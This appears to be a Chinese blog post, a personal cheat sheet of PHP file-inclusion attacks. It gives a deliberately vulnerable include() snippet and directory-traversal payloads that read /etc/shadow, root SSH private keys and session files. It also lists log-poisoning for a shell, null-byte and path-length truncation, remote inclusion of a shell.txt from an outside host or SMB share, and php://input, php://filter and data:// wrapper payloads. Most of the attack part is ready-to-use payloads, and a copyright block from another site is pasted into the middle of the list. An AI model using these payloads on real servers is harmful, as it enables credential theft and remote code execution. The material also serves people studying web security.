文件包含小总结 By Assassin

这么长时间对文件包含都不甚了解,小小总结一下
文件包含大致分为本地包含和远程包含,这里先用include讲解吧。事实上扩展函数一大堆

这里写图片描述

在本地包含的时候,如果没有php代码,包含文件会把文件内容输出;如果存在php文件,或者包含了远程的恶意程序,当前代码就会引用执行包含的程序。

1. 普通本地文件包含

<?php include("inc/" . $_GET['file']); ?>

然后就可以遍历内容了,只要指导结构,且没设置权限。下面举几个例子

(linux中这两个文件储存着所有文件的路径,需要root权限)
?file=../../../../../../../../../var/lib/locate.db 
?file=../../../../../../../../../var/lib/mlocate/mlocate.db

包含错误日志:
?file=../../../../../../../../../var/log/apache/error.log (试试把UA设置为“”来使payload进入日志)

获取web目录或者其他配置文件:
?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf

读取session文件:
?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7
(session文件一般在/tmp目录下,格式为sess_[your phpsessid value],有时候也有可能在/var/lib/php5之类的,在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制session的值,也许你能够获得一个shell)

如果有root权限可以试试下面的:

/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/etc/shadow
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]* (文件标识符)
/proc/mounts
/proc/config.gz

2.有限制的本地文件包含

<?php include("inc/" . $_GET['file'] . ".htm"); ?>

(1)%00截断:

?file=../../../../../../../../../etc/passwd%00

(需要 magic_quotes_gpc=off,PHP小于5.3.4有效)

(2)%00截断目录遍历:

?file=../../../../../../../../../var/www/%00

(需要 magic_quotes_gpc=off,unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris)

(3)路径长度截断:

?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.

(php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)

(4)点号截断:

?file=../../../../../../../../../boot.ini/………[…]…………

(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)

3.普通远程文件包含

(1)远程代码执行:

?file=[http|https|ftp]://example.com/shell.txt

(需要allow_url_fopen=On并且 allow_url_include=On)

(2)利用php流input:

?file=php://input

(需要allow_url_include=On,详细→http://php.net/manual/en/wrappers.php.php)

(3)利用php流filter:

?file=php://filter/convert.base64-encode/resource=index.php
?file=php://filter/read=string.rot13/resource=main
?file=php://filter/read=string.strip_tags/resource=main

作者:王一航
链接:http://www.jianshu.com/p/fd9f38753078
來源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
(需要allow_url_include=On,详细→http://php.net/manual/en/wrappers.php.php)

(4)利用data URIs:

?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=

(需要allow_url_include=On)

(5)利用XSS执行任意代码:

?file=http://127.0.0.1/path/xss.php?xss=phpcode

(需要allow_url_fopen=On,allow_url_include=On并且防火墙或者白名单不允许访问外网时,先在同站点找一个XSS漏洞,包含这个页面,就可以注入恶意代码了。条件非常极端和特殊- -)

4.有限制的远程文件包含

?file=http://example.com/shell
?file=http://example.com/shell.txt?
?file=http://example.com/shell.txt%23
(需要allow_url_fopen=On并且allow_url_include=On)

?file=\evilshare\shell.php (只需要allow_url_include=On)

基本上是借鉴别人的总结,但是发一下加深印象。以后有新的再补充。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值